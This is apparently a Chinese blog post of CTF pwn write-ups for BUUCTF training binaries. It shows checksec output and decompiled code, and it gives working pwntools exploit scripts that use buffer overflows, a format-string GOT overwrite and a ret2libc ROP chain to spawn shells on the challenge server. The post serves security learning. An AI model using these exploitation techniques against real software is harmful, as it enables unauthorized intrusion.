本文最后更新于:2025年6月25日 上午
test_your_nc1 1 2 3 4 5 6 - Connect to a certain port: nc {{ip_address }} {{port }} - Scan the open ports of a specified host: nc -v -z {{ip_address }} {{port }}
下载文件,ida f5,发现该文件直接执行system(/bin/sh)
nc ip port
获得目标shell,ls发现flag,直接cat flag即可
RIP 1 2 3 4 5 6 7 8 9 10 int __cdecl main (int argc, const char **argv, const char **envp) { char s[15 ]; puts ("please input" ); gets(s, argv); puts (s); puts ("ok,bye!!!" ); return 0 ; }
shift+f12发现system和sh字符串都存在,看下代码段:
1 2 .text :000000000040118 A lea rdi, command ; "/bin/sh" .text :0000000000401191 call _system
保护:
1 2 3 4 5 6 7 8 ~$ pwn checksec pwn1 [* ] '/home/philo/pwn1' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
直接利用缓冲区溢出把返回地址改一下就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import * sh = remo('./pwn1' ) payload = b'a' * (0xf +8 ) + p64(0x40118A ) sh.sendline(payload) sh.interactive()
warmup_csaw_2016-1 1 2 3 4 5 6 7 8 ~> pwn checksec ./warmup_csaw_2016 [* ] '/home/philo/warmup_csaw_2016' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
在write函数下断点,ni运行到gets函数
1 2 3 4 0x400692 lea rax , [rbp - 0x40 ] # offset 0x400696 mov rdi , rax 0x400699 mov eax , 0 ► 0x40069e call gets@plt <gets@plt>
看一下堆栈状态
1 2 3 RBP 0x7fffffffe1c0 ◂— 0x0 RSP 0x7fffffffe140 ◂— '0x40060d\n' *RIP 0x40069e ◂— call 0x400500
观察到代码段内容:
1 2 3 4 5 6 7 8 9 .text: 000000000040060D sub_40060D proc near .text: 000000000040060D .text: 000000000040060D push rbp .text: 000000000040060E mov rbp , rsp .text: 0000000000400611 mov edi , offset command .text: 0000000000400616 call _system.text: 000000000040061B pop rbp .text: 000000000040061C retn .text: 000000000040061C
得到返回地址0x0000000000400611
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import * sh = remote('node4.buuoj.cn' , 27704 ) payload = b'a' * (0x40 +8 ) + p64(0x0000000000400611 ) sh.sendline(payload) sh.interactive()
ciscn_2019_n_1 1 2 3 4 5 6 7 pwn checksec ciscn_2019_n_1 [* ] '/home/philo/ciscn_2019_n_1' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
看一下func函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int func () { int result; char v1[44 ]; float v2; v2 = 0.0 ; puts ("Let's guess the number." ); gets(v1); if ( v2 == 11.28125 ) result = system("cat /flag" ); else result = puts ("Its value should be 11.28125" ); return result; }
直接跳到cat /flag代码处即可
1 2 3 .text: 00000000004006 BE mov edi, offset command .text: 00000000004006 C3 mov eax, 0 .text: 00000000004006 C8 call _system
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import * sh = remote('node4.buuoj.cn' , 26563 ) target = 0x00000000004006BE payload = b'a' * (0x30 +8 ) + p64(target) sh.sendline(payload) sh.interactive()
pwn1_sctf_2016 1 2 3 4 5 6 7 ~> pwn checksec pwn1_sctf_2016 [* ] '/home/philo/pwn1_sctf_2016' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 int vuln () { const char *v0; char s[32 ]; char v3[4 ]; char v4[7 ]; char v5; char v6[7 ]; char v7[5 ]; printf ("Tell me something about yourself: " ); fgets (s, 32 , edata); std::string::operator =(&input, s); std::allocator<char >::allocator (&v5); std::string::string (v4, "you" , &v5); std::allocator<char >::allocator (v7); std::string::string (v6, "I" , v7); replace ((std::string *)v3); std::string::operator =(&input, v3, v6, v4); std::string::~string (v3); std::string::~string (v6); std::allocator<char >::~allocator (v7); std::string::~string (v4); std::allocator<char >::~allocator (&v5); v0 = (const char *)std::string::c_str ((std::string *)&input); strcpy (s, v0); return printf ("So, %s\n" , s); }
C++逆出来的确实看不懂,大概就是你输入的字符串中的I会被you替换,然后把处理后的字符串strcpy给s
所以很明显字符串变长了,虽然fgets指定了字符数量,但是由于这个替换的存在,有可能冲掉返回地址
s在栈上的位置是ebp-3Ch,因此偏移为0x3c+4=64字节,我们输入21个I,可以得到63字节
看一下返回地址
1 2 .text :08048 F13 mov dword ptr [esp], offset command ; "cat flag.txt" .text :08048 F1A call _system
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #!/usr/bin/python3from pwn import * #context.log_level = "debug" #context.terminal=['tmux' ,'splitw' ,'-h' ] sh = remote('node4.buuoj.cn' , 29753 ) target = 0x08048F13 payload = b'I' * (21 ) + b'a' + p32(target) sh.sendline(payload) sh.interactive()
jarvisoj_level0 1 2 3 4 5 6 7 > pwn checksec level0 [* ] '/home/philo/level0' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
看一下代码段
1 2 .text :000000000040059 A mov edi, offset command ; "/bin/sh" .text :000000000040059 F call _system
看堆栈算一下偏移
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 RBP 0x7fffffffe1b0 —▸ 0x7fffffffe1d0 ◂— 0x0 RSP 0x7fffffffe130 ◂— 0x0 *RIP 0x4005bf (vulnerable_function+25 ) ◂— call 0x400470 ───────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────────────────── 0x4005aa <vulnerable_function+4 > add rsp , -0x80 0x4005ae <vulnerable_function+8 > lea rax , [rbp - 0x80 ] 0x4005b2 <vulnerable_function+12 > mov edx , 0x200 0x4005b7 <vulnerable_function+17 > mov rsi , rax 0x4005ba <vulnerable_function+20 > mov edi , 0 ► 0x4005bf <vulnerable_function+25 > call read@plt <read@plt> fd: 0x0 (/dev/pts/1 ) buf: 0x7fffffffe130 ◂— 0x0 nbytes: 0x200 0x4005c4 <vulnerable_function+30 > leave 0x4005c5 <vulnerable_function+31 > ret
填充0x80+8个字节即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import * sh = remote('node4.buuoj.cn' , 26852 ) target = 0x000000000040059A payload = b'a' *(0x80 +8 ) + p64(target) sh.sendline(payload) sh.interactive()
[第五空间2019 决赛]PWN5-1 1 2 3 4 5 6 7 > pwn checksec ./pwn [* ] '/home/philo/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
看一下程序逻辑,由于read读取99,而buf是100,因此无法进行缓冲区溢出
再往下看,考虑格式化字符串漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 char buf[100 ]; srand(v1); fd = open("/dev/urandom" , 0 ); read(fd, &dword_804C044, 4u );printf ("your name:" ); read(0 , buf, 0x63 u);printf ("Hello," );printf (buf);printf ("your passwd:" ); read(0 , nptr, 0xF u);if ( atoi(nptr) == dword_804C044 ) { puts ("ok!!" ); system("/bin/sh" ); }else { puts ("fail" ); }
程序逻辑:
使用srand函数初始化随机数生成器;
打开/dev/urandom设备,并从中读取4个字节,存入dword_804C044变量;
提示用户输入用户名,使用read函数从标准输入(文件描述符为0)中读取不超过99个字节的数据存入buf数组中;
输出“Hello, ”以及用户输入的用户名,注意此处存在格式化字符串漏洞
提示用户输入密码,使用read函数从标准输入中读取不超过15个字节的数据存入nptr数组中;
将nptr数组中的字符串转换为整数类型,如果和步骤2中读取的dword_804C044相等,则输出“ok!!”,并调用system函数打开一个shell;
如果两者不相等,则输出“fail”。
读取你的名字和密码,如何和dword_804C044相同,那么就得到/bin/sh
思路1:覆盖got表 计算一下偏移为10
1 2 3 ~$ ./pwn-buu your name :AAAA%x .%x .%x .%x .%x .%x .%x .%x .%x .%x .%x .%x .%x .%x .%x .%x .%x .%x .%x .%x .%x .%x .%x .%x .%x .%x .%x .%x .%x .%x .%x .%x .%x .%x .%x .%x .%x .%x . Hello,AAAAfffae618.63.0 .0 .3 .f7f47990 .f7f359f9.8048034 .b.41414141
我们可以将后续会被调用的atoi函数的地址改写为我们的目标地址,这样当调用atoi函数的时候,实际执行的就是我们想要执行的代码
1 2 3 .text: 0804932F lea eax , (aBinSh - 804C000h )[ebx ] .text: 08049335 push eax .text: 08049336 call _system
格式化字符串漏洞中自己算偏移、字节数太麻烦,我们可以使用pwntools的fmtstr_payload函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import * sh = remote('node4.buuoj.cn' , 25944 ) elf=ELF('./pwn-buu' ) atoi_got=elf.got['atoi' ] target_addr=0x0804932F payload=fmtstr_payload(10 ,{atoi_got:target_addr}) sh.send(payload) sh.interactive()
代码说明:
导入 pwn 库;
连接远程主机 node4.buuoj.cn 的 25944 端口(或者使用本地进程);
解析 ELF 可执行文件 pwn-buu,获取 atoi 函数的 GOT 地址;
指定目标函数地址 target_addr,此处为 0x0804932F;
调用 fmtstr_payload() 函数生成恶意格式化字符串,将 atoi 函数的 GOT 地址覆盖为目标地址;
将 payload 发送给目标主机,并进入交互模式,等待攻击结果。
思路2:改写dword_804C044值 把0x804C044的值改写为0,然后输入密码0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import * sh = remote('node4.buuoj.cn' , 25944 ) elf=ELF('./pwn-buu' ) dword_804C044=0x804C044 target_addr=0x0804932F payload=fmtstr_payload(10 ,{dword_804C044:0x0 }) sh.sendlineafter('your name:' ,payload) sh.sendlineafter('your passwd:' ,str (0x0 )) sh.interactive()
ciscn_2019_c_1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 int __cdecl main (int argc, const char **argv, const char **envp) { int v4; init(*(_QWORD *)&argc, argv, envp); puts ("EEEEEEE hh iii " ); puts ("EE mm mm mmmm aa aa cccc hh nn nnn eee " ); puts ("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e " ); puts ("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee " ); puts ("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee " ); puts ("====================================================================" ); puts ("Welcome to this Encryption machine\n" ); begin(); while ( 1 ) { while ( 1 ) { fflush(0LL ); v4 = 0 ; __isoc99_scanf("%d" , &v4); getchar(); if ( v4 != 2 ) break ; puts ("I think you can do it by yourself" ); begin(); } if ( v4 == 3 ) { puts ("Bye!" ); return 0 ; } if ( v4 != 1 ) break ; encrypt(); begin(); } puts ("Something Wrong!" ); return 0 ; }
进入encrypt函数看一下,发现对输入的字符串进行了异或,按理说需要再异或一次得到原值,但是strlen(s)判定条件导致了不会对rbp和返回地址进行异或,因此不需要再异或一次。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 int encrypt () { size_t v0; char s[48 ]; __int16 v3; memset (s, 0 , sizeof (s)); v3 = 0 ; puts ("Input your Plaintext to be encrypted" ); gets(s); while ( 1 ) { v0 = (unsigned int )x; if ( v0 >= strlen (s) ) break ; if ( s[x] <= 96 || s[x] > 122 ) { if ( s[x] <= 64 || s[x] > 90 ) { if ( s[x] > 47 && s[x] <= 57 ) s[x] ^= 0xF u; } else { s[x] ^= 0xE u; } } else { s[x] ^= 0xD u; } ++x; } puts ("Ciphertext" ); return puts (s); }
思路:
使用ROP泄露出puts的got地址,再利用LibcSearcher得到libc的版本
由于libc内的函数最低12位不随着libc库版本的改变而改变,因此只要得到puts函数的地址,就可以得到libc的版本
由于libc内的函数的相对偏移不随着libc库版本的改变而改变,因此只要得到puts函数的地址,就可以得到其余函数的地址(比如system函数、sh字符串)
有几个易错的点:
64位使用寄存器传参,而不是栈,因此构造rop链的时候,需要使用pop_rdi_ret将参数放在寄存器之后调用函数。payload = b'a' * (88) + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
使用recv族函数吞掉多余的输出,并获取地址puts_addr = u64(sh.recvline()[:-1].ljust(8,b'\x00')) # puts puts_got.get puts addr
由于Ubuntu18的运行机制,此题不加ret则栈无法对齐(貌似system函数必须在地址以0结束的位置,而本题是8)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from pwn import *from LibcSearcher import * context.log_level = "debug" context.terminal=['tmux' ,'splitw' ,'-h' ] sh=remote('node4.buuoj.cn' , 27910 ) elf = ELF('./ciscn_2019_c_1' ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main = elf.symbols['main' ] pop_rdi_ret=0x0000000000400c83 payload = b'a' * (88 ) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt)+p64(main) sh.recv() sh.sendline('1' ) sh.recvuntil("Input your Plaintext to be encrypted\n" ) sh.sendline(payload) sh.recvuntil("\n" ) sh.recvuntil("\n" ) puts_addr = u64(sh.recvline()[:-1 ].ljust(8 ,b'\x00' )) libc = LibcSearcher('puts' , puts_addr) libc_base = puts_addr - libc.dump('puts' ) system_addr = libc_base + libc.dump('system' ) binsh_addr = libc_base + libc.dump('str_bin_sh' ) sh.recv() sh.sendline('1' ) sh.recvuntil("Input your Plaintext to be encrypted\n" ) ret = 0x00000000004006b9 payload = b'a' * (88 ) + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) sh.sendline(payload) sh.interactive()
ciscn_2019_n_8-1 保护全开,看下源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 int __cdecl main (int argc, const char **argv, const char **envp) { int v4; int v5; var[13 ] = 0 ; var[14 ] = 0 ; init(); puts ("What's your name?" ); __isoc99_scanf("%s" , var, v4, v5); if ( *(_QWORD *)&var[13 ] ) { if ( *(_QWORD *)&var[13 ] == 17LL ) system("/bin/sh" ); else printf ( "something wrong! val is %d" , var[0 ], var[1 ], var[2 ], var[3 ], var[4 ], var[5 ], var[6 ], var[7 ], var[8 ], var[9 ], var[10 ], var[11 ], var[12 ], var[13 ], var[14 ]); } else { printf ("%s, Welcome!\n" , var); puts ("Try do something~" ); } return 0 ; }
只需将数组var的第14个元素改成17即可。每个数组值为4个字节,因此payload=b'\x11\x00\x00\x00'*14
,注意如果修改了第15个元素,也即是var[14]会报错
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *from LibcSearcher import * context.log_level = "debug" context.terminal=['tmux' ,'splitw' ,'-h' ] sh = process('./ciscn_2019_n_8' ) elf = ELF('./ciscn_2019_n_8' ) payload=b'\x11\x00\x00\x00' *14 sh.sendline(payload) sh.interactive()
jarvisoj_level2 1 2 3 4 5 6 7 ~> pwn checksec ./level2 [* ] '/home/philo/level2' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
read读入256字节,存在溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ssize_t vulnerable_function () { char buf[136 ]; system("echo Input:" ); return read(0 , buf, 0x100 u); }int __cdecl main (int argc, const char **argv, const char **envp) { vulnerable_function(); system("echo 'Hello World!'" ); return 0 ; }
shift+f12查看字符串,发现了sh
1 .data:0804 A024 hint db '/bin/sh' ,0
水题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *from LibcSearcher import * context.log_level = "debug" context.terminal=['tmux' ,'splitw' ,'-h' ] sh=remote('node4.buuoj.cn' , 27901 ) elf = ELF('./level2' ) sys_addr=0x08048320 binsh_addr=0x0804A024 payload=b'a' *(0x88 +4 )+p32(sys_addr)+p32(0xdeadbeef )+p32(binsh_addr) sh.sendline(payload) sh.interactive()
bjdctf_2020_babystack 1 2 3 4 5 6 7 8 9 10 11 12 13 14 int __cdecl main (int argc, const char **argv, const char **envp) { char buf[12 ]; size_t nbytes; setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stdin , 0LL , 1 , 0LL ); puts ("[+]Please input the length of your name:" ); __isoc99_scanf("%d" , &nbytes); puts ("[+]What's u name?" ); read(0 , buf, (unsigned int )nbytes); return 0 ; }
先输入100,使得读入100个字节,导致溢出
在代码段找到system_sh,地址为00000000004006E6
1 2 3 4 5 6 7 8 9 10 .text: 00000000004006E6 .text: 00000000004006E6 push rbp.text: 00000000004006E7 mov rbp, rsp.text: 00000000004006 EA mov edi, offset command .text: 00000000004006 EF call _system.text: 00000000004006 F4 mov eax, 1 .text: 00000000004006 F9 pop rbp.text: 00000000004006 FA retn.text: 00000000004006 FA .text: 00000000004006 FA backdoor endp
氵
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *from LibcSearcher import * context.log_level = "debug" context.terminal=['tmux' ,'splitw' ,'-h' ] sh=remote('node4.buuoj.cn' , 27644 ) elf = ELF('./level2' ) sys_sh_addr= 0x00000000004006EA sh.recvuntil('of your name:\n' ) sh.sendline(str (100 )) payload=b'a' *(0x10 +8 )+p64(sys_sh_addr) sh.sendline(payload) sh.interactive()
get_started_3dsctf_2016 1 2 3 4 5 6 7 ~> pwn checksec ./get_started_3dsctf_2016 [* ] '/home/philo/get_started_3dsctf_2016' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
gets导致溢出
1 2 3 4 5 6 7 8 int __cdecl main (int argc, const char **argv, const char **envp) { char v4[56 ]; printf ("Qual a palavrinha magica? " , v4[0 ]); gets(v4); return 0 ; }
但是这个题有个大坑,就是main函数不是通过push ebp;mov ebp , esp 压栈的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 .text: 08048A20 main proc near .text: 08048A20.text: 08048A20 var_3C = dword ptr -3Ch .text: 08048A20 var_38 = byte ptr -38h .text: 08048A20 argc = dword ptr 4 .text: 08048A20 argv = dword ptr 8 .text: 08048A20 envp = dword ptr 0Ch .text: 08048A20.text: 08048A20 sub esp , 3Ch .text: 08048A23 mov [esp +3Ch +var_3C], offset aQualAPalavrinh .text: 08048A2A call printf.text: 08048A2F lea eax , [esp +3Ch +var_38].text: 08048A33 mov [esp +3Ch +var_3C], eax .text: 08048A36 call gets.text: 08048A3B xor eax , eax .text: 08048A3D add esp , 3Ch .text: 08048A40 retn .text: 08048A40 main endp
看最后两行就可以看出来,抬栈之后直接ret
1 2 .text: 08048A3D add esp , 3Ch .text: 08048A40 retn
shift+f12查字符串,跟进flag.txt的引用,发现直接open flag文件,然后putchar打印出所有字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 void __cdecl get_flag (int a1, int a2) { int v2; unsigned __int8 v3; int v4; unsigned __int8 v5; if ( a1 == 814536271 && a2 == 425138641 ) { v2 = fopen("flag.txt" , "rt" ); v3 = getc(v2); if ( v3 != 255 ) { v4 = (char )v3; do { putchar (v4); v5 = getc(v2); v4 = (char )v5; } while ( v5 != 255 ); } fclose(v2); } }
这样的话就很简单了,先调用get_flag_addr函数,然后参数设置满足a1 == 814536271 && a2 == 425138641
,在调用完get_flag_addr之后,返回地址设置为exit_addr,这里如果设置为别的值,会报错
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *from LibcSearcher import * context.log_level = "debug" context.terminal=['tmux' ,'splitw' ,'-h' ] sh=remote('node4.buuoj.cn' , 26256 ) get_flag_addr= 0x080489A0 exit_addr=0x804E6A0 payload=b'a' *(0x38 )+p32(get_flag_addr)+p32(exit_addr)+p32(814536271 )+p32(425138641 ) sh.sendline(payload) sleep(0.5 ) sh.interactive()
[OGeek2019]babyrop